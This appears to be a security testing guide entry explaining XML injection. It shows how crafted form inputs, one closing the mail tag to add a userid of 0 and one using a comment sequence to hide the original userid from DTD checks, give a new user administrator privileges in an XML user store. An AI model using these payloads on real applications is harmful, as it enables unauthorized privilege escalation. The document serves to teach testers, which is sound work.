XML injection

XML injection occurs when:
1. Data enters a program from an untrusted source.
2. The data is written to an XML document.
Applications typically use XML to store data or send messages. When used to store data, XML documents are often treated like databases and can potentially contain sensitive information. XML messages are often used in web services and can also be used to transmit sensitive information. XML message can even be used to send authentication credentials.
The semantics of XML documents and messages can be altered if an attacker has the ability to write raw XML. In the most benign case, an attacker may be able to insert extraneous tags and cause an XML parser to throw an exception. In more nefarious cases of XML injection, an attacker may be able to add XML elements that change authentication credentials or modify prices in an XML e-commerce database. In some cases, XML injection can lead to cross-site scripting or dynamic code evaluation.

Example
By inserting the following values: Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com
the application will build a new node and append it to the XML database:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
               <user> 
                               <username>gandalf</username> 
                               <password>!c3</password> 
                               <userid>0</userid>
                               <mail>gandalf@middleearth.com</mail>
               </user> 
               <user> 
                               <username>Stefan0</username> 
                               <password>w1s3c</password> 
                               <userid>500</userid>
                               <mail>Stefan0@whysec.hmm</mail>
               </user> 
               <user> 
                               <username>tony</username> 
                               <password>Un6R34kb!e</password> 
                               <userid>500</userid>
                               <mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
               </user> 
</users>

The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges. The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it. Let's suppose that the XML document is specified by the following DTD:

<!DOCTYPE users [
                 <!ELEMENT users (user+) >
                 <!ELEMENT user (username,password,userid,mail+) >
                 <!ELEMENT username (#PCDATA) >
                 <!ELEMENT password (#PCDATA) >
                 <!ELEMENT userid (#PCDATA) >
                 <!ELEMENT mail (#PCDATA) >
]>

Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs. However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting a comment start/end sequence: Username: tony Password: Un6R34kb!e</password><!-- E-mail: --><userid>0</userid><mail>s4tan@hell.com In this case, the final XML database is: <?xml version="1.0" encoding="ISO-8859-1"?>

<users> 
               <user> 
                               <username>gandalf</username> 
                               <password>!c3</password> 
                               <userid>0</userid>
                               <mail>gandalf@middleearth.com</mail>
               </user> 
               <user> 
                               <username>Stefan0</username> 
                               <password>w1s3c</password> 
                               <userid>500</userid>
                               <mail>Stefan0@whysec.hmm</mail>
               </user> 
               <user> 
                               <username>tony</username> 
                               <password>Un6R34kb!e</password><!--</password> 
                               <userid>500</userid>
                               <mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
               </user>
</users>

The original userid node has been commented out, leaving only the injected one. The document now complies with its DTD rules.